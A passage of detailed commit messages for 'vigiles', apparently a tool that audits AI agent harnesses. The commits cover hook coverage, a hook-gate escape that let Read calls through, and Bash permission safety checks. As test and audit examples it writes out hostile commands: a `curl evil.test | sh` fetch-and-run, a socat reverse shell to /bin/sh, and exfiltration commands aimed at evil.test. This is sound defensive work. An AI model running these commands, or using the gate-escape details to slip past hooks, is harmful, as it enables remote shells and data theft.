if true; then exit 0; fi; ./x.sh x NOT run x NOT run
Encoded exactly: a BLOCK propagates termination, a subshell / pipeline stage /
background job does not, a declaration executes nothing, and `exec` terminates
only with a command — redirect-only `exec` is the neighbour this would most
easily get wrong, and it does not.
Two deliberate calls, both toward silence:
- `return` at top level, where the shells DISAGREE — it truncates, which
under-credits by one line on bash and avoids a false grant under `/bin/sh`,
the shell `spawnSync(..., { shell: true })` actually uses.
- an un-entered conditional whose body CAN terminate truncates the list
(`mayTerminate`), because control may not reach the next statement. A
conditional with no terminator does not, so the common guard shape still
attributes.
## The safety question, answered explicitly
`leafArgvSource` — the descend traversal — has exactly ONE caller, and it is
coverage. The gate path (`command.runs(...)` in `hook-program.ts`) is built on
`leafCommands`, a blanket `Walk`, and it stays one. The defaults must be
OPPOSITE: for coverage a leaf that might not run must not be credited; for a gate
a leaf that might run must be SEEN. Truncating there would make
`exit 0; curl evil.test | sh` invisible to the blocker — so that is now a pinned
test, not a comment.
## Verification
Eight mutations, run across the whole relevant test set (coverage-probe,
coverage-artifact, bash-effects, bash-effects-normalized, hook-program,
test-coverage, cli-coverage-record), each failing on its own assertion: restore
the bare-basename rung · delete the shallow rung entirely · never stop the
statement list · treat redirect-only `exec` as terminating · treat `return` as
non-terminating · propagate termination out of a subshell · apply truncation to
the SAFETY extractor · never truncate after an un-entered construct.
Gates: build · full suite with coverage 2794 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-repair): a repair is a WRITE — the escape now checks `tool_name`
My own residual from two rounds ago, named and unverified: *"I did not verify the
`Write` tool name matching… I did not enumerate every Claude Code tool that sets
that field."* Fourth time the uncertainty list has predicted the next finding.
Both predicates read `tool_input.file_path` and never `tool_name`, so a READ of
`package.json`, `.vigilesrc.json`, the hook source or its stamp was accepted as a
repair. If the wedged hook was registered for `Read`, that read walked out
through the escape while the gate refused everything else. A read repairs
nothing, and the door's whole justification — "a file write executes nothing" —
cannot be made by a predicate blind to which tool is running.
## The list was read off the LIVE harness, not off memory or a doc page
Measured 2026-08-12 against this Claude Code build's own tool schemas:
Write file_path → writes → ADMITTED
Edit file_path → writes → ADMITTED
MultiEdit file_path → writes → ADMITTED (absent from this build; a
vendored third-party plugin still
matches "Write|Edit|MultiEdit", so
other builds ship it)
Read file_path → reads → refused (the reported hole)
NotebookEdit notebook_path → writes, cannot reach this predicate
Glob / Grep pattern, path → no `file_path` at all
Bash command → no `file_path` at all
`NotebookEdit` is deliberately NOT listed. It writes, but its live schema says
*"notebook_path: The absolute path to the Jupyter notebook file to edit"* — it
never carries the field this predicate reads, so listing it would be a fragment
that can never execute. Both spellings are asserted, so a future rename of that
field fails a test instead of granting silently.
## An unrecognised name is REFUSED, and that is not the wedge
The other direction was weighed first, because "refuse everything outside cwd"
was rejected two rounds ago for making a wedged repo unrecoverable. The objection
does not land here: this list does not have to be COMPLETE, only NON-EMPTY at
runtime. A new writing tool appearing wedges nothing — the author still repairs
with `Write`. Only the simultaneous disappearance of `Write`, `Edit` and
`MultiEdit` could strand a repo.
Admitting unknown names was the alternative and it forfeits the sentence this
door rests on: with an unrecognised tool we cannot say the call executes nothing.
## The stamp door had the SAME hole, checked rather than assumed
It did — exactly as the suffix-match pair did last round. Both now go through one
`repairTargetOf` helper, so they cannot drift apart again; mutating the tool check
out of the stamp door alone fails both the unit and the real-runtime test.
The refusal message and `docs/compiled-hooks.md` now name the admitted tools, so
an author whose `Read` bounced is not left guessing why the documented escape did
nothing.
## Verification
Five mutations, run across the relevant test set (hook-program, hook-load-wedge),
each failing on its own assertion: ignore `tool_name` entirely (the reported
defect) · hard-code `Write` only · admit unknown names (fail open) · leave the
stamp door blind · add `NotebookEdit` to the list.
Gates: build · full suite with coverage 2796 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): a fired HOOK label is not a skill — resolve within the kind
Same "a name is not an identity" family as the last two rounds, one boundary
further out: the within-kind form was closed at the command rung (tail alignment,
not bare basename); this is the CROSS-kind form, where the probe knew its origin
and the lookup threw it away.
`traceRefs` recorded Claude Code's hook label as a `fired` probe; `resolveProbe`
stripped the prefix and searched EVERY surface kind. A uniquely named skill or
agent therefore got fresh execution coverage because a hook fired.
## 1. What a `fired` probe can come from, read rather than inferred
Two producers, and only two — `probeTrace` is the sole caller of `traceRefs`, and
`recordSurfaceProbe` has exactly three call sites:
Skill tool call → `call.input.skill` → `plugin:name` → names a SKILL
hook fire → `HookFire.name` → `Event:Matcher` → names NO file
`HookFire.name` comes from one place: `parseHooks` reading Claude Code's
`hook_response` stream event. Codex and OpenCode return `hooks: []`, so there is
no third shape today.
MEASURED 2026-08-12 — the ENTIRE `fired` population of `vigiles test` on this repo
AND on a 43-harness consumer repo, no model spent. All fourteen are hook labels;
not one is a skill activation:
8× SessionStart:startup → strips to `startup`
2× PostToolUse:Write → strips to `Write`
2× PreToolUse:Write → strips to `Write`
2× UserPromptSubmit → no colon, so the WHOLE label is the name
The old comment claimed such a label "resolves to no surface and is dropped by
the runner — recording it costs nothing." The first half is right; the second was
never checked and is false.
## 2. Why it is not fixed by resolving hook labels within hooks
A label is an EVENT plus a tool-name pattern; a hook surface is a FILE. A repo
with `hooks/Stop.sh` and `hooks/cleanup.sh` both registered for `Stop` has the
`Stop` label match exactly one of them, and nothing says it is the one that ran.
So the label is dropped entirely. The one thing this stream could carry that WOULD
be evidence is a script path, and no harness reports one; if one ever does, it
belongs on the `command` origin, which already resolves paths within hooks.
`ProbeableTrace.hooks` stays on the shape, unread, on purpose: it is what lets the
negative be TESTED. Deleting it would delete the lock.
## 3. Does the command rung have the same leak? No — checked, not assumed
`resolveProbe`'s command branch filters `s.kind === "hook"` before any matching,
and an existing test pins it ("a command ref NEVER resolves to a non-hook
surface"). Verified by reading the branch, not by inference.
## 4. Do our own numbers move? No — and that is a checked nil
All four distinct labels resolved against both real surface sets:
vigiles (23 surfaces: 18 skills, 0 agents, 5 hooks) → [] for all four
mine (38 surfaces: 38 skills, 0 agents, 0 hooks) → [] for all four
Neither repo owns a surface by those names, so nothing was miscredited and
`Tested`/`Evaluated` are unchanged. The exposure is live rather than theoretical
— add ONE skill named `startup`, a name nobody would think twice about, and the
counterfactual against the real corpus is:
SessionStart:startup → ["skill skills/startup/SKILL.md"]
eight times per `vigiles test`.
## Verification
Three mutations across the relevant set (coverage-probe, coverage-artifact,
test-coverage, cli-coverage-record, harness-test), each failing on its own
assertion: record hook labels again · let the resolver search every kind again ·
widen `fired` to skills AND agents.
Gates: build · full suite with coverage 2797 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(foreign-runner): a name this file BINDS is not our API — and the gate now abstains
Sixth finding from this one file, which is data about the design rather than
about six bugs. Both are addressed: the reported false positive, and the question
of whether the gate's default is the right way round.
## The fix
`const runEval = vi.fn(); runEval();` was read as a real-model invocation and its
author told to rename a working unit test. A declaration is the dual of the
import rule that round 14 measured as unworkable here — and unlike that rule it
needs no module graph, because the binding is right there in the text.
`locallyBound` suppresses on a `const`/`let`/`var`/`function`/`function*`/`class`
declaration, a destructuring or array pattern, an `as NAME` alias, or a default
import. It is deliberately GENEROUS — every error it makes is toward silence, so
`export { x as runEval }` is matched even though a re-export is not a binding.
A plain `import { runEval } from "vigiles/testing"` is not matched: that binds OUR
name to OUR export, which is the case the gate exists for.
## …and one more class, removed on a measurement
A DOTTED name is somebody's property. The allowance existed for
`import * as v from "vigiles/testing"; v.runEval()` — that shape occurs in exactly
two places across every corpus available, and both are this gate's own comment and
its own test. Meanwhile `mock.runEval()` / `deps.runEval()` / `this.runEval()` are
ordinary. Dropping it costs a genuine namespace user ONE warning; the money guard
still refuses the spawn.
## Does the gate earn its keep? KEEP, TUNED TO ABSTAIN
Measured over three real corpora — this repo, a 43-harness consumer repo, five
vendored third-party plugin repos, 3 613 js/ts files:
findings 0
files under a surface dir AND collected by a default glob 2
…of those, with agent evidence 0
The two near-misses are this repo's `code-reviewer.md.spec.ts` and the consumer
repo's `.claude/skills/verify-citations/scripts/verify-cites.test.mjs` — the exact
file `untested-skill.md` already cites as "a good test of a bundled script, not a
test of a skill". The EVIDENCE rule is the only thing between its author and
"rename it". That is the gate's one demonstrated effect on a real repository, and
it is an effect of NOT firing.
The asymmetry the old tuning ignored: a missed warning costs one accidental paid
run — except `refuseUnderForeignRunner` already refuses at all four spawn doors,
so it costs only an earlier, friendlier notice. A false warning costs someone a
working test. Every finding this file has produced has been the second kind.
Residual false-positive surface, probed rather than estimated — three shapes still
fire, and it reduces to "the file calls a bare name it did not declare":
import { runEval } from "./my-own-helper.js"; runEval({}) → fires
function f(runEval) { runEval({}) } → fires (parameter)
export function t() { runEval({}) } → fires (also the
TRUE-positive shape)
🔴 The falsifiable part, recorded in the file: a SEVENTH false positive is not
another bug to fix — it is the measurement saying a lexical rule cannot be made
tight enough, and the answer then is to DELETE the gate and let the money guard be
the whole defence. Fix the next finding by narrowing or by deleting; adding a
shape rule that widens has been wrong six times.
## Verification
Three mutations across the relevant set (foreign-runner-tests, scan, audit-score),
each failing on its own assertion: drop the local-binding suppression (the
reported defect) · suppress on ANY mention (17 failures — the quiet halves do
guard against a fix that silences the gate) · restore the leading-dot allowance.
Gates: build · full suite with coverage 2798 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): the owner is a position, the namespace is identity, and a dispatch is evidence
Three findings — two false grants and one false negative.
## 1 (P2) — `vigiles` accepted as a data operand
`echo vigiles hook-runtime run-program hooks/pre.sh` recorded execution coverage
for a hook `echo` merely PRINTED. The free-floating VERB was fixed one round ago;
the OWNER had the same hole one token over.
The owner must now sit where a program actually runs: `argv[0]`, or `argv[1]`
under a launcher. The `owner === entry` arm needs no position check — `entry` is
by construction the program the leaf runs, so the equality IS the position.
⚠️ THIS IS A LAUNCHER TABLE, and one was deleted from this repo on purpose
(`RUNNER_PREFIXES`, when the hook-recovery escape went). It is safe here and was a
liability there because the two decide different things. There it decided whether
to EXECUTE an attacker-chosen string, so a wrong entry granted arbitrary
execution. Here it decides whether to CREDIT a coverage line for a command the
harness author wrote about their own hook: a missing entry costs one line, and
there is no adversary, because the only thing to win is over-crediting yourself.
It is also ONE token, chosen by measurement. Every spelling across docs,
examples, README, src and two repos' `.claude/` dirs:
13× npx vigiles hook-runtime … → launcher, index 1
11× vigiles hook-runtime … → head, index 0
10× "$CLAUDE_PROJECT_DIR/…/vigiles/dist/cli.js" … → the `entry` arm
9× node /abs/dist/cli.js hook-runtime … → the `entry` arm
1× ./node_modules/.bin/vigiles hook-runtime … → head, index 0
Deliberately missed, run and pasted in the test: `pnpm dlx …` and `bunx …` both
yield []. No corpus contains either; one coverage line each.
## 2 (P2) — the plugin namespace was stripped and discarded
The THIRD axis of "a name is not an identity", after within-kind (a bare
basename) and cross-kind (a hook label reaching a skill). A run firing
`other-plugin:foo` recorded the audited repo's own unique `foo` as EXECUTED. The
whole-harness tier makes that ordinary rather than exotic: `installSet` exists to
co-install competitors so the skill under test competes, and a competitor firing
is the normal outcome of a low trigger rate.
A qualified ref carries MORE identity than the lookup used. It now resolves only
under a namespace that means THIS repo — the `.claude-plugin/plugin.json` name,
plus `vigiles-loose-skills`, the synthetic name OUR OWN packaging gives a loose
skills dir (`packageSkillsDir`, and `underTestSource`'s fallback). Omitting the
second would drop every trigger-rate record for the documented one-liner.
An UNqualified ref still resolves by name — it carries no namespace to
contradict, the same reasoning that kept the shallow rung on the command ladder.
A caller that cannot say which plugin it is drops every qualified ref rather than
guessing: it costs coverage, it never invents it.
## 3 (P2) — an agent could never earn an execution record
My own prediction from round 22, which is the fifth time that list has named the
next finding. This one is a false NEGATIVE, so the direction inverts: it ADDS
attribution, and the bar has to be as strict as the rest.
Evidence is a DISPATCH — a `tool_use` whose input carries `subagent_type` — on
its own `dispatched` origin, resolving only to AGENTS. Keyed on the input FIELD,
not the tool name, because the dispatch tool is named `Agent` on the live CLI and
`Task` in older docs; `parseSubagents` already keys on the field for that reason,
confirmed against real `claude` output, and this reuses that established fact
rather than inventing a second rule.
What it refuses: an ERRORED dispatch (the tool was reached and the agent was not
— the rule the `Skill` arm has always had), a call merely NAMED `Task` with no
`subagent_type`, and a non-string value. A new origin must not become a new leak,
so a dispatch cannot reach a same-named skill, and `fired` still cannot reach an
agent.
## Corpus effect: none, and it is checked
Both corpora have ZERO agent surfaces (vigiles 23 surfaces, mine 38), and round
22 measured zero skill activations in their deterministic runs — so no number
moves in either direction. The exposures are real; these two repos just do not
exercise them.
## Verification
Six mutations across the relevant set (coverage-probe, coverage-artifact,
check-count, cli-coverage-record, test-coverage), each failing on its own
assertion: accept the owner anywhere · strip the namespace again · drop the
dispatch probe · key the dispatch on the tool NAME · count an errored dispatch ·
let `dispatched` resolve to skills too.
Gates: build · full suite with coverage 2801 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(discovery): a hook rooted at the PROJECT var was invisible — one settings file, two readers, one wrong
The hook-discrepancy chase. Four numbers described the same repo and only one of
them was wrong.
## What each list was counting (real consumer repo)
19 hook ENTRIES in `.claude/settings.json` — one inline (`TZ=… date`), and
several sharing a script with different argv (`kb-lint.mjs post`/`stop`,
`paper-lint.mjs pre`/`post`/`sweep`/`stop`)
17 FILES in `.claude/hooks/` — two of which are not hooks: `hooks.harness.mjs`
(the test) and `lint-core.mjs` (a library the hooks import, never
registered)
16 what `audit` inventories — 15 distinct scripts + 1 inline — and EVERY one
printed as `? … (unresolved var — can't check)`
0 hook SURFACES, the list coverage resolves against
The honest number is **14**: the registered scripts under `.claude/hooks/`. It is
what the fix produces.
## The defect: vigiles knows the variable in three places and this reader did not
`hookScripts` stripped only `${CLAUDE_PLUGIN_ROOT}`, so
`"$CLAUDE_PROJECT_DIR/.claude/hooks/kb-lint.mjs"` — Claude Code's DOCUMENTED
spelling for a project hook, used because hooks do not run with a stable cwd —
kept its literal prefix, failed `existsSync`, and was dropped in silence.
`plugin-loader.ts` and `scan-files.ts` both carry `CLAUDE_PROJECT_DIR` in their
`NON_PLUGIN_VARS`, and `audit` names the variable in its own output. The audit
KNEW and declined to check; the surface reader did not know and dropped.
Reproduced on a four-way fixture before fixing:
plain `.claude/hooks/guard.sh` → [".claude/hooks/guard.sh"]
`$CLAUDE_PROJECT_DIR/…/guard.sh` → [] ← defect
`${CLAUDE_PLUGIN_ROOT}/…/guard.sh` → [".claude/hooks/guard.sh"]
`${CLAUDE_PROJECT_DIR}/…/guard.sh` → [] ← defect
The token now lives on the layout (`projectRootTokens`, optional, additive to
`vigiles/adapter`'s `PluginLayout`) beside `pluginRootToken`, because it is a
per-harness spelling — not a constant hard-coded into shared code.
## …and a dependency is not a surface
The same settings name the runtime that runs the compiled hooks
(`node_modules/vigiles/dist/cli.js`). Holding that to `untested-hook` would ask
the author to test their package manager, so `node_modules/` paths are excluded.
The compiled `.hook.ts` it is pointed AT is extracted from the same command and
IS the surface.
## What it changes, measured
consumer repo 38 surfaces (0 hooks) → 52 surfaces (14 hooks), all 14 untested
this repo 23 surfaces (5 hooks) → unchanged
## 🔴 What I said today that rested on the empty denominator
Round 20 and 22 both quoted "a 43-harness consumer repo" as a SECOND corpus
attesting the command ladder. It could never have attested anything about
resolution: its hook-surface list was empty, so no command probe could have
resolved there whatever the ladder did. It produced zero command probes as well,
so the silence had TWO independent causes and I reported one.
What still stands: the vigiles measurement (3 command probes, all bottom-rung,
all resolving to nothing) was against a NON-empty list of 5 hook surfaces, so the
ladder conclusions and the fixes are unaffected. The foreign-runner corpus
numbers (round 23) never touched hook surfaces.
What I should have caught: round 22 PRINTED `0 hooks` for that repo and I read
past it.
## Verification
Two mutations across the relevant set (test-coverage, coverage-artifact, scan),
each failing on its own assertion: strip only the plugin token · allow
`node_modules` back in. (The first mutation silently failed to apply on its first
attempt because prettier had reflowed the target line; re-run with an
applied-assert, which is the discipline the rest of these rounds use.)
Gates: build · full suite with coverage 2802 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` regenerated
(one additive optional field on `PluginLayout`, reviewed) · lint 0 errors / 201
warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: a dispatch needs its tool AND its field · `command -v` inspects · a contract is scoped to its skill
Three findings. The first is the flip side of a decision I made last round.
## 1 (P2) — the dispatch probe keyed on the FIELD alone
Last round I argued: key on `subagent_type`, not the tool name, because the
dispatch tool is `Agent` on the live CLI and `Task` in older docs. That reasoning
was sound about why the NAME is insufficient and was never an argument that the
FIELD is sufficient — "X alone is unreliable, so use Y alone" is a substitution.
Any successful tool with an ordinary string input happening to be called
`subagent_type` (an MCP tool, say) granted a local agent execution coverage with
no dispatch anywhere in the run.
The answer is the CONJUNCTION: a known dispatch tool AND the field. Measured:
Task + subagent_type → [{dispatched, reviewer}]
Agent + subagent_type → [{dispatched, reviewer}]
mcp__x__run + field → []
Bash + field → []
Task, no field → []
## 2 (P2) — `command -v` inspects, it does not run
`stripWrappers` removed both `command` and `-v`, so the operand looked executed
and a passing harness credited a hook it had only asked about. Same family as the
`bash -n` / `node --check` parse-only flags.
MEASURED, bash 5.2, marker file the script touches (`ran` = it actually executed):
command -v ./pre.sh ran=no prints ./pre.sh
command -V ./pre.sh ran=no prints "./pre.sh is ./pre.sh"
command -pv ./pre.sh ran=no command -vp ./pre.sh ran=no
command -Vp ./pre.sh ran=no
command -p ./pre.sh ran=YES ← -p picks a PATH; it is not an inspection
command ./pre.sh ran=YES
THE REST OF THE WRAPPER TABLE, asked the same question: `command` is its only
member with an inspect-only mode. The neighbours the finding names attribute
nothing ALREADY — not by a rule, but because they are not wrappers, so their
operand is never reached (`type`/`which`/`hash` → [], and all three `ran=no`).
`sudo -v`/`-l` take no command operand; `xargs -t` prints AND runs, so it is not
an inspection. `env`/`nice`/`timeout`/`nohup` have no inspect mode.
Scoped to the COVERAGE extractor: `leafArgvSource` has one caller and it is
attribution. The safety extractor still sees the whole leaf — asserted.
## 3 (P2) — the contract spanned the whole trace
Our own new API carrying the false-positive class this review has been finding all
day. A contract violation is an ACCUSATION about someone's skill, and a `Read`
made before the skill activated, or a `Bash` belonging to another skill, was
reported as this skill's violation.
The window IS recoverable, so it is scoped rather than abstained: a `Skill` call
with this id starts it, the next `Skill` call (any id) ends it, trailing calls
after the last activation are inside it, and a skill activated twice contributes
both windows.
⚠️ ONE CONFOUND IS NOT RECOVERABLE and is therefore subtracted, not reasoned
about: `parseToolCalls` collects EVERY `tool_use` including those nested under a
subagent dispatch, and `ToolCall` carries no parent id. Those are removed by value
against `trace.subagents[*].toolCalls` — which over-removes an identical call the
skill also made itself, dropping an accusation rather than inventing one.
No activation in the trace → FAIL, not a silent pass: the module refuses vacuous
passes everywhere else, and "no violations" from a run where the skill never ran
means nothing.
`onlyTools` itself is UNCHANGED and its doc now says it spans the whole trace by
design, names the three confounds, and points one-skill callers at the contract.
## Verification
Six mutations across the relevant set (coverage-probe, bash-effects,
skill-contract, coverage-artifact, check), each failing on its own assertion:
field alone · tool name alone · no inspect-only suppression · `-p` treated as an
inspection · contract spans the whole trace · do not subtract a subagent's calls.
⚠️ The first full gate run came back with 8 failures — 7 `vigiles compile`/`lint`
cases in `cli.test.ts` and one install e2e that hung 73s. All of them shell out
through `npx`. `cli.test.ts` alone re-ran 114/114 green immediately, and the full
suite re-ran clean, so it was a transient network failure rather than this change.
Recorded rather than quietly re-run to green.
Gates: build · full suite with coverage 2804 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
🔴 Also fixed here: the previous commit shipped a lint ERROR (a void-expression
arrow in the hook-discovery test). I ran lint BEFORE adding that test and not
after. Gate order corrected — lint runs after the last edit, not before it.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(audit): say what the eval numbers can REACH — the lock, not the ledger
The product's own author could not tell the lock from the cache. That is not a
user error; it is the strongest evidence a discoverability defect can have.
## What was measured
.vigiles/runs.jsonl 276 KB, 105 eval entries, 11–12 Aug gitignored
.vigiles/eval-locks/ does not exist, 0 locks (would be committed)
eval cache does not exist
audit / lint about any of the above: 0 lines
Evals had been run over a hundred times and the result reached NOBODY. The audit
already printed `105 eval` in the flight-recorder summary — a number with no
meaning attached, which is exactly how this stayed invisible for a year.
## 1. An audit line, in the existing report
The CONSEQUENCE is the sentence; the counts are its evidence:
⚠ CI cannot verify any eval result — 105 eval run(s) are recorded here and 0
locks are committed. This ledger is local and gitignored; a committed
`.vigiles/eval-locks/<name>.lock.json` is the only channel outward. Give the
eval a `name`, run `vigiles eval --update`, and commit the lock so `--check`
can gate on it.
Verified by running `audit` before and after. BEFORE: zero lines mentioning locks
on either repo. AFTER, on the consumer repo AND on this one:
Flight recorder — 623 records in .vigiles/runs.jsonl
by kind: 105 eval, 518 hook
⚠ CI cannot verify any eval result — 105 eval run(s) …
(vigiles' own repo: 623 eval records, 0 locks — the same hole)
Fires only with eval runs AND no lock. Silent with no evals (nothing to say) and
silent once a lock exists (the fix is done — it must not keep nagging).
No new verb, no new flag, no new rule: it is a line in the flight-recorder
section the audit already prints.
**AUDIT ONLY, NOT LINT**, and the reason is mechanical rather than editorial: the
input is `.vigiles/runs.jsonl`, which is GITIGNORED. In CI — where lint runs — the
ledger does not exist, so this finding could never fire there. In lint it would be
dead code that reads as a gate.
## 2. A docs table putting the three side by side
`docs/harness-testing.md`, in the lock section: ledger · cache · lock, by *what
question does it answer · where · who writes it · is it committed*. Plus the
distinction that was buried in a code comment, in plain words: the cache keys on
the harness binary version and the lock deliberately does not — the strict key
exists for honest replay, the loose one exists so `--check` does not go red on
every PR just because CI's `claude` differs from your laptop's.
NOTHING WAS RENAMED. `.vigiles/eval-locks/` is a committed directory in users'
repos and the flags, the `eval-check` action and the API surface hang off the same
names; renaming it would silently disable a user's CI gate. That is a one-shot
migration decision, not tonight's work.
## Verification
Three mutations, each failing on its own assertion: never emit the line · fire
even when a lock exists · fire with no evals recorded.
⚠️ The first full gate came back at 99.93% lines — one uncovered branch, a
`try/catch` I had added to `countLocks` that no test can reach. Removed rather
than ignored: `anyLocksCommitted` never had one, and a defensive branch nobody can
exercise trades a real coverage line for nothing.
Gates: build · full suite with coverage 2805 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* site: the promise is three instruments, not one — audit, test and measure
The headline, the <title>, and every link-preview card said only
"Lighthouse for your agent harness". A reader's first contact learned
that vigiles SCORES a repo and never learned it also RUNS the harness
against a scripted stand-in model and MEASURES whether a skill fires —
the verb map two screens down was the only place breadth appeared.
Pain still leads the paragraph, per the README direction. The Lighthouse
analogy stays where it is true of `audit` specifically: the verb map and
the FAQ's "a tool you run, not a framework" answer.
* fix(coverage): one settings file, ONE reader — the twin never got the fix
The project-root token was taught to the disk detector and not to the
browser twin, so the same `settings.json` that yields four hook surfaces
on disk yielded ONE through `findUntestedSurfacesInFiles`: only the
PLUGIN token was stripped, and `$CLAUDE_PROJECT_DIR/.claude/hooks/a.sh`
kept its literal prefix, missed the existence check and was dropped
silently. The audit under-reported the untested-hook count and the score
for exactly the repos that use Claude Code's documented spelling.
Repairing the twin in place would have left the NEXT token to be added
twice, which is how this got here. So the parsing, the token set, both
token spellings, the prefix stripping and the node_modules dependency
rule move into `hookScriptRefs` in coverage-evidence.ts — the module both
twins already route through so they cannot drift on what decides
coverage. The callers now inject only what genuinely differs: where the
manifest text comes from, and what "this file exists" means. Neither
enumerates tokens, so neither can forget one.
The twin had never had the node_modules branch at all, so a file map from
a repo that vendors its runtime would have handed the author their
package manager to test. That is closed by the same move.
Verified by mutation: dropping `projectRootTokens` from the shared helper
fails BOTH the disk test and the new twin test, so both are live and both
really do run through the one implementation.
* fix(coverage): the paid tier is a SUFFIX the runner can glob, not an infix
`.eval.` was matched anywhere in the basename, so `parser.eval.test.ts` —
an ordinary deterministic test, discovered only because the repo set
`testGlobs: ["**/*.test.ts"]` — was pushed into the paid EVAL tier and
removed from the free one. `vigiles eval` globs
`**/*.eval.{mjs,cjs,js,mts,cts,ts}` (scriptGlob over SCRIPT_EXTS), and
that name ends `.test.ts`, so the eval runner can never discover it. The
surface was reported covered by the tier that cannot run it and uncovered
by the tier that does: eval-covered by nothing runnable.
The infix was not arbitrary — it replaced the full suffix `.eval.mjs`
because `foo.eval.ts` then fell into the FREE branch and would have spent
real model calls on every push. So this narrows to a suffix rather than
reverting: `.eval.` followed by a runnable extension at the END. Wrong in
neither direction.
The rule moves into `isEvalScript` in coverage-evidence.ts, shared by
both twins, which had been carrying the infix separately. Its extension
list is re-declared because the authority (SCRIPT_EXTS) lives in a module
that imports node:child_process; a test asserts the two agree, so an
extension added to the runner cannot silently stop being billed.
Verified by mutation: restoring the bare infix fails both the false-grant
test and the SCRIPT_EXTS pin. The money-hazard case is covered for every
extension in SCRIPT_EXTS, and it passes before and after.
* fix(audit): honour the stopping rule — the foreign-runner gate is deleted
`locallyBound()` checked declarations and import aliases but never
PARAMETER lists, so `function testDriver(runEval) { runEval(fake); }` — an
ordinary offline test that injects a fake — was read as spawning a real
agent. Measured, not argued: the gate over one file of that shape returns
one finding whose warning reads "It calls `runEval`, which spawns an
agent" and tells the author to rename the file. That sentence is false
about that file.
That is the SEVENTH distinct false-positive shape reported against this
gate, and its own header pre-registered what to do about a seventh:
delete the gate and let the money guard be the whole defence. So it is
deleted rather than narrowed an eighth time. The shape had even been
self-disclosed in the file as a known residual — which is not a defence.
A pre-registered stopping rule exists precisely to stop "we know, it is
acceptable" from running forever, so the count is honoured rather than
reasoned around.
The measurement says the same independently. Across three corpora
(3 613 js/ts files) and re-measured at deletion over this repo's 941
files: 0 true positives, ever, against 7 false-positive shapes. Its only
demonstrated effect on a real repository was an effect of NOT firing, and
every error it made was the expensive kind — the remedy it prints is
"rename this file", so a false warning costs a working test while a miss
costs nothing: `refuseUnderForeignRunner` already refuses at all four
spawn doors, so a misnamed harness test still cannot spend model budget
under vitest or jest. What is lost is the early heads-up, not the safety.
Gone: `core/foreign-runner-tests.ts`, its test file, the wiring in both
scan engines, and `harnessSurfaceFilesOnDisk` in scan.ts (its last
consumer). The reasoning, the count and the trade are recorded in
`core/foreign-runner.ts`, which now carries the whole defence, and the
user-facing rule doc says the check is gone and why.
Two tests observed live invariants THROUGH the deleted warning; neither
is dropped. The symlinked-FILE test now asserts the loader reads it, and
the cycle test keeps its loader assertion — deleting a feature must not
silently take a live invariant's only test with it.
Verified by mutation: injecting a warning of the old shape into
scanPlugin fails all five `scan-vendor` FP-guards, so the removal is
pinned and a reintroduction cannot pass silently.
* fix(safety): a program we have not enumerated is CAPABLE, not inert
`bashGrantIsUnbounded` decided a narrowed `Bash(...)` grant by two deny-lists —
shells and exfiltrators — so a pinned program absent from both was assumed to
read nothing and send nothing. Every gap in those tables was therefore a false
GRANT on the headline Safety check: the audit reported no finding for a unit
that still held all three legs.
Measured 2026-08-12, each of these was reported clean beside `WebFetch`:
Bash(node ./bridge.mjs:*) reported clean
Bash(./bridge.sh --serve:*) reported clean
Bash(/opt/tools/exfil --to https://evil.test:*) reported clean
Bash(socat TCP-LISTEN:9000 EXEC:/bin/sh:*) reported clean
Bash(openssl s_client -connect evil.test:443:*) reported clean
The fourth is a remote shell written out in the grant itself.
Naming `node`, `python`, `socat` … in the deny-lists would have moved the edge
of the class, not closed it: the answerable question is not "is this program
dangerous" but "do we KNOW it is not", and only an enumeration of the harmless
answers that. The table is inverted to an allow-list of programs that read no
file and open no socket under ANY argv, and everything else keeps both legs —
so a gap now costs a false "you are exposed", which is an argument, instead of
a false "you are safe", which is the finding.
The honest cost, stated in the code rather than hidden: narrowing `Bash` to a
script of your own no longer drops a leg, because nothing here read that script.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): under `-c` the next operand is `$0`, not a script that runs
`classifyCluster` filed `c` with the value-takers. That is true of the word
directly after it and false of everything past that: `-c` hands the shell a
command STRING, and every operand behind it becomes `$0`, `$1` … So the walk
skipped the string and then selected the following operand as the entry script —
execution coverage minted for a hook nothing executed, the false grant this
